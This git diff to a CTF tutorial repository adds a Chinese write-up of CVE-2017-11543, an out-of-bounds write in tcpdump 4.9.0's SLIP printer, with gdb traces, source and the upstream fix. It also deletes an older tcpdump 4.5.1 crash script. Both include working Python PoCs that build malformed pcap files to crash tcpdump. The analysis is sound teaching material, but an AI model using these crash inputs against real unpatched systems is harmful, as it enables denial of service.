diff --git a/CONTRIBUTION.md b/CONTRIBUTION.md index 30fa73f..40922db 100644 --- a/CONTRIBUTION.md +++ b/CONTRIBUTION.md @@ -53,6 +53,7 @@ - 新增第六章题解篇,收集各种好题的Writeup,应力求详细,且能提供程序供实际操作,一个md只写一题,所有文件上传到文件夹`src/writeup`,题目最好来自 [CTFs](https://github.com/ctfs)。 - 新增第七章实战篇,CTF之后,总是要回到现实中,对真实存在的漏洞进行分析利用,还是一样力求详细,并提供程序复现,一个md写一个漏洞,所有文件上传到`src/exploit`(程序太大的可附上网盘链接),参考 [exploit-db](https://www.exploit-db.com/)。 - 考虑到真实漏洞的环境可能会很复杂,如果能做一个基于 docker 的环境,应该会很不错,这条就作为一个未来的计划。 +- 由于项目所有者有强迫症,所以能用文本时绝不要截图:p | 章节 | 作者 | 进度 | diff --git a/README.md b/README.md index a1be619..af1e1d2 100644 --- a/README.md +++ b/README.md @@ -95,8 +95,7 @@ - [6.2.5 re PicoCTF2014 Baleful](doc/6.2.5_re_picoctf2014_baleful.md) - [七、实战篇](doc/7_exploit.md) - - Denial of Service and PoC Exploits - - [7.1.1 tcpdump 4.5.1 Access Violation Crash](doc/7.1.1_dos_tcpdump_crash.md) + - [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](doc/7.1.1_tcpdump_2017-11543.md) - [八、附录](doc/8_appendix.md) - [8.1 更多 Linux 工具](doc/8.1_Linuxtools.md) diff --git a/SUMMARY.md b/SUMMARY.md index 271d333..389e3bd 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -93,8 +93,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [6.2.4 re CSAWCTF2015 wyvern](doc/6.2.4_re_csawctf2015_wyvern.md) * [6.2.5 re PicoCTF2014 Baleful](doc/6.2.5_re_picoctf2014_baleful.md) * [七、实战篇](doc/7_exploit.md) - * Denial of Service and PoC Exploits - * [7.1.1 tcpdump 4.5.1 Access Violation Crash](doc/7.1.1_dos_tcpdump_crash.md) + * [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](doc/7.1.1_tcpdump_2017-11543.md) * [八、附录](doc/8_appendix.md) * [8.1 更多 Linux 工具](doc/8.1_Linuxtools.md) * [8.2 更多 Windows 工具](doc/8.2_wintools.md) diff --git a/doc/7.1.1_dos_tcpdump_crash.md b/doc/7.1.1_dos_tcpdump_crash.md deleted file mode 100644 index a01eed8..0000000 --- a/doc/7.1.1_dos_tcpdump_crash.md +++ /dev/null @@ -1,15 +0,0 @@ -# 7.1.1 tcpdump 4.5.1 Access Violation Crash - -- [漏洞复现](#漏洞复现) -- [漏洞分析](#漏洞分析) -- [参考资料](#参考资料) - - -[下载文件](../src/exploit/7.1.1_dos_tcpdump_crash) - -## 漏洞复现 - -## 漏洞分析 - -## 参考资料 -- [TCPDump 4.5.1 - Crash (PoC)](https://www.exploit-db.com/exploits/39875/) diff --git a/doc/7.1.1_tcpdump_2017-11543.md b/doc/7.1.1_tcpdump_2017-11543.md new file mode 100644 index 0000000..7eae322 --- /dev/null +++ b/doc/7.1.1_tcpdump_2017-11543.md @@ -0,0 +1,582 @@ +# 7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow + +- [漏洞描述](#漏洞描述) +- [漏洞复现](#漏洞复现) +- [漏洞分析](#漏洞分析) +- [参考资料](#参考资料) + + +[下载文件](../src/exploit/7.1.1_tcpdump_bof) + +## 漏洞描述 +tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 `sliplink_print` 函数(位于 `print-sl.c`)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。 + +这个漏洞是发现者用 AFL 做 fuzz 时发现的。 + + +## 漏洞复现 +| |推荐使用的环境 | 备注 +--- | --- | --- +操作系统 | Ubuntu 16.04 | 体系结构:32 位| +调试器 | gdb-peda| 版本号:7.11.1 | +漏洞软件 | tcpdump | 版本号:4.9.0 + +为了编译 tcpdump,我们需要安装 dev 版本的 libpcap: +``` +$ sudo apt-get install libpcap-dev +$ dpkg -l libpcap-dev +Desired=Unknown/Install/Remove/Purge/Hold +| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend +|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) +||/ Name Version Architecture Description ++++-===================-==============-==============-============================================ +ii libpcap-dev 1.7.4-2 all development library for libpcap (transitiona +``` +下载安装有漏洞的 tcpdump 4.9.0: +``` +$ wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz +$ tar zxvf tcpdump-4.9.0.tar.gz +$ cd tcpdump-tcpdump-4.9.0/ +$ ./configure +``` +执行 `configure` 会生成相应的 Makefile,然后 `make install` 就可以了,但是这里我们修改下 Makefile,给 gcc 加上参数 `-fsanitize=address`,以开启内存检测功能: +``` +CFLAGS = -g -O2 -fsanitize=address +``` +最后: +``` +$ sudo make install +$ tcpdump --version +tcpdump version 4.9.0 +libpcap version 1.7.4 +``` + +使用下面的 poc 即可成功地触发漏洞产生 Segment Fault: +```python +import os + +def sigsegv(): + buf = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" + buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'" + buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7" + buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00" + buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00" + + with open("slip-bad-direction.pcap", "wb") as f: + f.write(buf) + f.close() + + cmd = 'tcpdump -e -r slip-bad-direction.pcap' + os.system(cmd) + +if __name__ == "__main__": + sigsegv() +``` +``` +$ python poc.py +reading from file slip-bad-direction.pcap, link-type SLIP (SLIP) +ASAN:SIGSEGV +================================================================= +==11084==ERROR: AddressSanitizer: SEGV on unknown address 0x08425c5c (pc 0x0815f697 bp 0x00000027 sp 0xbfae3ab0 T0) + #0 0x815f696 in compressed_sl_print print-sl.c:253 + #1 0x815f696 in sliplink_print print-sl.c:166 + #2 0x815f696 in sl_if_print print-sl.c:77 + #3 0x8060ecf in pretty_print_packet print.c:339 + #4 0x8055328 in print_packet tcpdump.c:2501 + #5 0xb7203467 (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0x1c467) + #6 0xb71f40e2 in pcap_loop (/usr/lib/i386-linux-gnu/libpcap.so.0.8+0xd0e2) + #7 0x8051218 in main tcpdump.c:2004 + #8 0xb7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) + #9 0x8054315 (/usr/local/sbin/tcpdump.4.9.0+0x8054315) + +AddressSanitizer can not provide additional info. +SUMMARY: AddressSanitizer: SEGV print-sl.c:253 compressed_sl_print +==11084==ABORTING +``` +``` +$ file slip-bad-direction.pcap +slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144) +``` + + +## 漏洞分析 +首先介绍一下 pcap 包的文件格式,文件头是这样一个结构体,总共 24 个字节: +```C +struct pcap_file_header { + bpf_u_int32 magic; + u_short version_major; + u_short version_minor; + bpf_int32 thiszone; /* gmt to local correction */ + bpf_u_int32 sigfigs; /* accuracy of timestamps */ + bpf_u_int32 snaplen; /* max length saved portion of each pkt */ + bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ +}; +``` +- `magic`:标识位:4 字节,这个标识位的值是 16 进制的 0xa1b2c3d4 +- `major`:主版本号:2 字节,默认值为 0x2 +- `minor`:副版本号:2 字节,默认值为 0x04 +- `thiszone`:区域时间:4 字节,实际上并未使用,因此被设置为 0 +- `sigfigs`:精确时间戳:4 字节,实际上并未使用,因此被设置为 0 +- `snaplen`:数据包最大长度:4 字节,该值设置所抓获的数据包的最大长度 +- `linktype`:链路层类型:4 字节,数据包的链路层包头决定了链路层的类型 + +接下来是数据包头,总共 16 个字节: +```C +struct pcap_pkthdr { + struct timeval ts; /* time stamp */ + bpf_u_int32 caplen; /* length of portion present */ + bpf_u_int32 len; /* length this packet (off wire) */ +}; +struct timeval { + long tv_sec; /* seconds (XXX should be time_t) */ + suseconds_t tv_usec; /* and microseconds */ +}; +``` +- `ts`:时间戳:8 字节,4字节表示秒数,4字节表示微秒数 +- `caplen`:当前数据区长度:4 字节,表示所抓获的数据包保存在 pcap 文件中的实际长度 +- `len`:离线数据长度:4 字节,如果文件中保存的不是完整数据包,可能比 caplen 大 + +我们从 tcpdump 的测试集中找到这样一个测试用例,整个包是这样的: +``` +$ xxd -g1 slip-bad-direction.pcap +00000000: d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00 ................ +00000010: 00 00 04 00 08 00 00 00 f6 b5 a5 58 f8 bd 07 00 ...........X.... +00000020: 27 00 00 00 36 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 '...6........... +00000030: e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 ca 00 ................ +00000040: 00 52 54 00 12 35 02 08 00 27 bd c8 2e 08 00 .RT..5...'..... +``` +所以其链路层类型为 `08`,即 SLIP(Serial Line Internet Protocol)。通常一个 SLIP 的包结构如下: +``` ++-------------------------+ +| Direction | +| (1 Octet) | ++-------------------------+ +| Packet type | +| (1 Octet) | ++-------------------------+ +| Compression information | +| (14 Octets) | ++-------------------------+ +| Payload | +. . +. . +. . +``` +- direction 字段指示发送或接收 + - `0`:表示本机接收的包 + - `1`:表示本机发送的包 + +在这里 direction 是 `0xe7`,并且由于 packet type 被设置了,所以 payload 是一个压缩的 TCP/IP 包,它的 packet type 和 compression information 共同构成了压缩的 TCP/IP 数据报,其结构如下: +``` ++-------------------------------+ Byte +| | C | I | P | S | A | W | U | 0 ++-------------------------------+ +| connection number | 1 ++-------------------------------+ +| TCP checksum | 2-3 ++-------------------------------+ +| data | 3-16 +. . +. . +. . +``` + +在 `sliplink_print` 函数处下断点: +``` +gdb-peda$ b sliplink_print +gdb-peda$ r -e -r slip-bad-direction.pcap +Starting program: /usr/local/sbin/tcpdump.4.9.0 -e -r slip-bad-direction.pcap +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". +reading from file slip-bad-direction.pcap, link-type SLIP (SLIP) + +[----------------------------------registers-----------------------------------] +EAX: 0x1 +EBX: 0xe7e7e736 +ECX: 0x0 +EDX: 0xbfffdb94 --> 0x1 +ESI: 0xb65ba810 --> 0xe7e7e7e7 +EDI: 0xbfffdb90 --> 0x0 +EBP: 0x27 ("'") +ESP: 0xbfffd760 --> 0xe7e7e726 +EIP: 0x815efc0 (: mov eax,DWORD PTR [esp+0x48]) +EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x815efbc : pop ebp + 0x815efbd : ret + 0x815efbe : xchg ax,ax +=> 0x815efc0 : mov eax,DWORD PTR [esp+0x48] + 0x815efc4 : mov edx,DWORD PTR [esp+0x48] + 0x815efc8 : shr eax,0x3 + 0x815efcb : and edx,0x7 + 0x815efce : movzx eax,BYTE PTR [eax+0x20000000] +[------------------------------------stack-------------------------------------] +0000| 0xbfffd760 --> 0xe7e7e726 +0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7 +0008| 0xbfffd768 --> 0x27 ("'") +0012| 0xbfffd76c --> 0xfbad2488 +0016| 0xbfffd770 --> 0xb5803e68 --> 0x10 +0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>: pop edx) +0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>: add ebx,0xbc0b5) +0028| 0xbfffd77c --> 0x80e6a200 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value + +Breakpoint 1, sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c, + p=0xb65ba800 '\347' , ) at ./print-sl.c:77 +77 sliplink_print(ndo, p, ip, length); +gdb-peda$ x/10x 0xb65ba800 +0xb65ba800: 0xe7e7e7e7 0xe7e7e7e7 0xe7e7e7e7 0xe7e7e7e7 +0xb65ba810: 0xe7e7e7e7 0x00cae7e7 0x00545200 0x08023512 +0xb65ba820: 0xc8bd2700 0xbe00082e +``` +参数 `p=0xb65ba800` 位置处存放着从 pcap 中解析出来的 data,总共 39 个字节。 + +然后语句 `dir = p[SLX_DIR]` 从 data 中取出第一个字节作为 dir,即 `0xe7`: +``` +[----------------------------------registers-----------------------------------] +EAX: 0xe7 +EBX: 0xe7e7e736 +ECX: 0x0 +EDX: 0x0 +ESI: 0xb65ba810 --> 0xe7e7e7e7 +EDI: 0xbfffdb90 --> 0x0 +EBP: 0x27 ("'") +ESP: 0xbfffd760 --> 0xe7e7e726 +EIP: 0x815efe8 (: mov DWORD PTR [esp+0x4],eax) +EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x815efdb : jne 0x815f3c6 + 0x815efe1 : mov eax,DWORD PTR [esp+0x48] + 0x815efe5 : movzx eax,BYTE PTR [eax] +=> 0x815efe8 : mov DWORD PTR [esp+0x4],eax + 0x815efec : lea eax,[edi+0x74] + 0x815efef : mov ecx,eax + 0x815eff1 : mov DWORD PTR [esp+0x8],eax + 0x815eff5 : shr eax,0x3 +[------------------------------------stack-------------------------------------] +0000| 0xbfffd760 --> 0xe7e7e726 +0004| 0xbfffd764 --> 0xb65ba800 --> 0xe7e7e7e7 +0008| 0xbfffd768 --> 0x27 ("'") +0012| 0xbfffd76c --> 0xfbad2488 +0016| 0xbfffd770 --> 0xb5803e68 --> 0x10 +0020| 0xbfffd774 --> 0xb7ff0030 (<_dl_runtime_resolve+16>: pop edx) +0024| 0xbfffd778 --> 0xb795af4b (<__fread_chk+11>: add ebx,0xbc0b5) +0028| 0xbfffd77c --> 0x80e6a200 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x0815efe8 133 dir = p[SLX_DIR]; +``` + +然后程序将 `dir==0xe7` 与 `SLIPDIR_IN==0` 作比较,肯定不相等,于是错误地把 dir 当成 `SLIPDIR_OUT==1` 处理了: +``` +[----------------------------------registers-----------------------------------] +EAX: 0x8237280 --> 0x204f ('O ') +EBX: 0xe7e7e736 +ECX: 0xe7 +EDX: 0x8237280 --> 0x204f ('O ') +ESI: 0xb65ba810 --> 0xe7e7e7e7 +EDI: 0xbfffdb90 --> 0x0 +EBP: 0x27 ("'") +ESP: 0xbfffd750 --> 0xbfffdb90 --> 0x0 +EIP: 0x815f02b (: call DWORD PTR [edi+0x74]) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x815f026 : sub esp,0x8 + 0x815f029 : push eax + 0x815f02a : push edi +=> 0x815f02b : call DWORD PTR [edi+0x74] + 0x815f02e : lea edx,[edi+0x10] + 0x815f031 : add esp,0x10 + 0x815f034 : mov eax,edx + 0x815f036 : shr eax,0x3 +Guessed arguments: +arg[0]: 0xbfffdb90 --> 0x0 +arg[1]: 0x8237280 --> 0x204f ('O ') +[------------------------------------stack-------------------------------------] +0000| 0xbfffd750 --> 0xbfffdb90 --> 0x0 +0004| 0xbfffd754 --> 0x8237280 --> 0x204f ('O ') +0008| 0xbfffd758 --> 0x0 +0012| 0xbfffd75c --> 0x0 +0016| 0xbfffd760 --> 0xe7e7e726 +0020| 0xbfffd764 --> 0xe7 +0024| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (: mov eax,0x8330fa4) +0028| 0xbfffd76c --> 0xfbad2488 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x0815f02b 134 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O ")); +``` + +继续往下执行,终于在执行到语句 `lastlen[dir][lastconn] = length - (hlen << 2);` 的时候挂掉了,它访问了一个不合法的地址: +``` +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0xe7e7 +EBX: 0xe7e7e6de +ECX: 0xbfffdc04 --> 0x8060b00 (: mov eax,0x8330fa4) +EDX: 0xe7 +ESI: 0xb65ba810 --> 0xe7e7e7e7 +EDI: 0xbfffdb90 --> 0x0 +EBP: 0x27 ("'") +ESP: 0xbfffd760 --> 0xe7e7e726 +EIP: 0x815f697 (: mov DWORD PTR [eax*4+0x83ebcc0],ebx) +EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) + +[-------------------------------------code-------------------------------------] + 0x815f68e : mov ebx,DWORD PTR [esp+0x14] + 0x815f692 : shl eax,0x8 + 0x815f695 : add eax,edx +=> 0x815f697 : mov DWORD PTR [eax*4+0x83ebcc0],ebx + 0x815f69e : mov eax,ecx + 0x815f6a0 : shr eax,0x3 + 0x815f6a3 : movzx edx,BYTE PTR [eax+0x20000000] + 0x815f6aa : mov eax,ecx +[------------------------------------stack-------------------------------------] +0000| 0xbfffd760 --> 0xe7e7e726 +0004| 0xbfffd764 --> 0xe7 +0008| 0xbfffd768 --> 0xbfffdc04 --> 0x8060b00 (: mov eax,0x8330fa4) +0012| 0xbfffd76c --> 0xb65ba801 --> 0xe7e7e7e7 +0016| 0xbfffd770 --> 0xb65ba809 --> 0xe7e7e7e7 +0020| 0xbfffd774 --> 0xe7e7e6de +0024| 0xbfffd778 --> 0xb795af00 (<__realpath_chk>: push ebx) +0028| 0xbfffd77c --> 0x80e6a200 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810, + chdr=0xb65ba801 '\347' , , ndo=0xbfffdb90) + at ./print-sl.c:253 +253 lastlen[dir][lastconn] = length - (hlen << 2); +gdb-peda$ x/x $eax*4+0x83ebcc0 +0x8425c5c: Cannot access memory at address 0x8425c5c +``` +说一下 `compressed_sl_print` 的参数: +- `dir=0xe7` 是 direction +- `length=0xe7e7e726` 是长度,由包头的 `len` 计算得到 +- `ip=0xb65ba810` 指向 data +- `chdr=0xb65ba801` 指向压缩的 TCP/IP 头 +- `ndo=0xbfffdb90` 是其他一些选项 + +在 `lastlen[dir][lastconn] = length - (hlen << 2);` 语句中: +- `lastlen`:被定义为 `static u_int lastlen[2][256];` +- `hlen` 是未压缩的 TCP/IP 头的长度 +- `length - hlen` 是 data 的总数 + +于是这里传入的 `dir==0xe7`,超出了 `lastlen` 定义的范围,发生错误。 + +回溯一下栈调用情况: +``` +gdb-peda$ bt +#0 0x0815f697 in compressed_sl_print (dir=0xe7, length=0xe7e7e726, ip=0xb65ba810, + chdr=0xb65ba801 '\347' , , ndo=0xbfffdb90) + at ./print-sl.c:253 +#1 sliplink_print (length=0xe7e7e726, ip=0xb65ba810, + p=0xb65ba800 '\347' , , ndo=0xbfffdb90) at ./print-sl.c:166 +#2 sl_if_print (ndo=0xbfffdb90, h=0xbfffd82c, + p=0xb65ba800 '\347' , ) at ./print-sl.c:77 +#3 0x08060ed0 in pretty_print_packet (ndo=0xbfffdb90, h=0xbfffd82c, + sp=0xb65ba800 '\347' , , packets_captured=0x1) + at ./print.c:339 +#4 0x08055329 in print_packet (user=0xbfffdb90 "", h=0xbfffd82c, + sp=0xb65ba800 '\347' , ) at ./tcpdump.c:2501 +#5 0xb7a37468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8 +#6 0xb7a280e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8 +#7 0x08051219 in main (argc=0x4, argv=0xbfffef74) at ./tcpdump.c:2004 +#8 0xb787d637 in __libc_start_main (main=0x804f8f0
, argc=0x4, argv=0xbfffef74, + init=0x818a160 <__libc_csu_init>, fini=0x818a1c0 <__libc_csu_fini>, rtld_fini=0xb7fea8a0 <_dl_fini>, + stack_end=0xbfffef6c) at ../csu/libc-start.c:291 +#9 0x08054316 in _start () +``` +问题发生的原因是 `sliplink_print` 函数的 `ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));` 没有考虑到 dir 既不是 0 也不是 1 的情况,错误地把它当做一个发送的数据包处理,然后调用了 `compressed_sl_print` 函数,导致非法内存地址访问。 + +漏洞程序代码如下: +```C +#define SLX_DIR 0 +#define SLX_CHDR 1 +#define CHDR_LEN 15 + +#define SLIPDIR_IN 0 +#define SLIPDIR_OUT 1 + +static u_int lastlen[2][256]; + +static void +sliplink_print(netdissect_options *ndo, + register const u_char *p, register const struct ip *ip, + register u_int length) +{ + int dir; + u_int hlen; + + dir = p[SLX_DIR]; + ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O ")); + + if (ndo->ndo_nflag) { + /* XXX just dump the header */ + register int i; + + for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i) + ND_PRINT((ndo, "%02x.", p[i])); + ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1])); + return; + } + switch (p[SLX_CHDR] & 0xf0) { + + case TYPE_IP: + ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN)); + break; + + case TYPE_UNCOMPRESSED_TCP: + /* + * The connection id is stored in the IP protocol field. + * Get it from the link layer since sl_uncompress_tcp() + * has restored the IP header copy to IPPROTO_TCP. + */ + lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p; + hlen = IP_HL(ip); + hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]); + lastlen[dir][lastconn] = length - (hlen << 2); + ND_PRINT((ndo, "utcp %d: ", lastconn)); + break; + + default: + if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) { + compressed_sl_print(ndo, &p[SLX_CHDR], ip, + length, dir); + ND_PRINT((ndo, ": ")); + } else + ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR])); + } +} + +static void +compressed_sl_print(netdissect_options *ndo, + const u_char *chdr, const struct ip *ip, + u_int length, int dir) +{ + register const u_char *cp = chdr; + register u_int flags, hlen; + + flags = *cp++; + if (flags & NEW_C) { + lastconn = *cp++; + ND_PRINT((ndo, "ctcp %d", lastconn)); + } else + ND_PRINT((ndo, "ctcp *")); + + /* skip tcp checksum */ + cp += 2; + + switch (flags & SPECIALS_MASK) { + case SPECIAL_I: + ND_PRINT((ndo, " *SA+%d", lastlen[dir][lastconn])); + break; + + case SPECIAL_D: + ND_PRINT((ndo, " *S+%d", lastlen[dir][lastconn])); + break; + + default: + if (flags & NEW_U) + cp = print_sl_change(ndo, "U=", cp); + if (flags & NEW_W) + cp = print_sl_winchange(ndo, cp); + if (flags & NEW_A) + cp = print_sl_change(ndo, "A+", cp); + if (flags & NEW_S) + cp = print_sl_change(ndo, "S+", cp); + break; + } + if (flags & NEW_I) + cp = print_sl_change(ndo, "I+", cp); + + /* + * 'hlen' is the length of the uncompressed TCP/IP header (in words). + * 'cp - chdr' is the length of the compressed header. + * 'length - hlen' is the amount of data in the packet. + */ + hlen = IP_HL(ip); + hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]); + lastlen[dir][lastconn] = length - (hlen << 2); + ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr))); +} +``` + + +## 漏洞修复 +在最新的 tcpdump 中已经修复了该漏洞,当发现 direction 是错误的值时,直接返回: +``` +$ tcpdump --version +tcpdump version 4.9.2 +libpcap version 1.7.4 +Compiled with AddressSanitizer/GCC. +``` +``` +$ tcpdump -e -r slip-bad-direction.pcap +reading from file slip-bad-direction.pcap, link-type SLIP (SLIP) +22:23:50.507384 Invalid direction 231 ip v14 +``` + +具体代码的修改如下所示,文件 `print-sl.c` 用于打印 CSLIP(Compressed Serial Line Internet Protocol),即压缩的 SLIP: +```C +$ git diff 09b1185 378ac56 print-sl.c +diff --git a/print-sl.c b/print-sl.c +index 3fd7e898..a02077b3 100644 +--- a/print-sl.c ++++ b/print-sl.c +@@ -131,8 +131,21 @@ sliplink_print(netdissect_options *ndo, + u_int hlen; + + dir = p[SLX_DIR]; // 在这个例子中 dir = 231 = 0xe7 +- ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O ")); ++ switch (dir) { + ++ case SLIPDIR_IN: ++ ND_PRINT((ndo, "I ")); ++ break; ++ ++ case SLIPDIR_OUT: ++ ND_PRINT((ndo, "O ")); ++ break; ++ ++ default: // 当 dir 不能匹配时的默认操作,将其赋值为 -1 ++ ND_PRINT((ndo, "Invalid direction %d ", dir)); ++ dir = -1; ++ break; ++ } + if (ndo->ndo_nflag) { + /* XXX just dump the header */ + register int i; +@@ -155,13 +168,21 @@ sliplink_print(netdissect_options *ndo, + * has restored the IP header copy to IPPROTO_TCP. + */ + lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p; ++ ND_PRINT((ndo, "utcp %d: ", lastconn)); ++ if (dir == -1) { // 在存取操作前检查 dir 的值 ++ /* Direction is bogus, don't use it */ ++ return; ++ } + hlen = IP_HL(ip); + hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]); + lastlen[dir][lastconn] = length - (hlen << 2); +- ND_PRINT((ndo, "utcp %d: ", lastconn)); + break; + + default: ++ if (dir == -1) { // 在存取操作前检查 dir 的值 ++ /* Direction is bogus, don't use it */ ++ return; ++ } + if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) { + compressed_sl_print(ndo, &p[SLX_CHDR], ip, + length, dir); +``` + +commit:[CVE-2017-11543/Make sure the SLIP direction octet is valid.](https://github.com/the-tcpdump-group/tcpdump/commit/378ac56f8055cadda55735b2a786db844d521d24) + + +## 参考资料 +- [CVE-2017-11543 Detail](https://nvd.nist.gov/vuln/detail/CVE-2017-11543#vulnDescriptionTitle) +- [tcpdump issues](https://github.com/the-tcpdump-group/tcpdump/issues/619) +- [hackerlib-vul](https://github.com/hackerlib/hackerlib-vul/tree/master/tcpdump-vul) +- [Compressing TCP/IP Headers for Low-Speed Serial Links](https://tools.ietf.org/pdf/rfc1144.pdf) diff --git a/doc/7_exploit.md b/doc/7_exploit.md index e283e03..2726ff9 100644 --- a/doc/7_exploit.md +++ b/doc/7_exploit.md @@ -1,4 +1,3 @@ # 第七篇 实战篇 -- Denial of Service and PoC Exploits - - [7.1.1 tcpdump 4.5.1 Access Violation Crash](7.1.1_dos_tcpdump_crash.md) + - [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](7.1.1_tcpdump_2017-11543.md) diff --git a/src/exploit/7.1.1_dos_tcpdump_crash/exp.py b/src/exploit/7.1.1_dos_tcpdump_crash/exp.py deleted file mode 100644 index 8de6cf4..0000000 --- a/src/exploit/7.1.1_dos_tcpdump_crash/exp.py +++ /dev/null @@ -1,41 +0,0 @@ -# Exploit Title: tcpdump 4.5.1 Access Violation Crash -# Date: 31st May 2016 -# Exploit Author: David Silveiro -# Vendor Homepage: http://www.tcpdump.org -# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz -# Version: 4.5.1 -# Tested on: Ubuntu 14 LTS - -from subprocess import call -from shlex import split -from time import sleep - -def crash(): - command = 'tcpdump -r crash' - - buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' - buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' - buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00' - buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' - buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'" - buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00" - buffer += '\x00\x00\x00\x00\x01\x03\x03\x04' - - with open('crash', 'w+b') as file: - file.write(buffer) - - try: - call(split(command)) - print("Exploit successful! ") - except: - print("Error: Something has gone wrong!") - -def main(): - print("Author: David Silveiro ") - print(" tcpdump version 4.5.1 Access Violation Crash ") - - sleep(2) - crash() - -if __name__ == "__main__": - main() diff --git a/src/exploit/7.1.1_tcpdump_2017-11543/poc.py b/src/exploit/7.1.1_tcpdump_2017-11543/poc.py new file mode 100644 index 0000000..2216965 --- /dev/null +++ b/src/exploit/7.1.1_tcpdump_2017-11543/poc.py @@ -0,0 +1,18 @@ +import os + +def sigsegv(): + buf = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" + buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'" + buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7" + buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00" + buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00" + + with open("slip-bad-direction.pcap", "wb") as f: + f.write(buf) + f.close() + + cmd = 'tcpdump -e -r slip-bad-direction.pcap' + os.system(cmd) + +if __name__ == "__main__": + sigsegv() diff --git a/src/exploit/7.1.1_tcpdump_2017-11543/slip-bad-direction.pcap b/src/exploit/7.1.1_tcpdump_2017-11543/slip-bad-direction.pcap new file mode 100644 index 0000000..a25dbda Binary files /dev/null and b/src/exploit/7.1.1_tcpdump_2017-11543/slip-bad-direction.pcap differ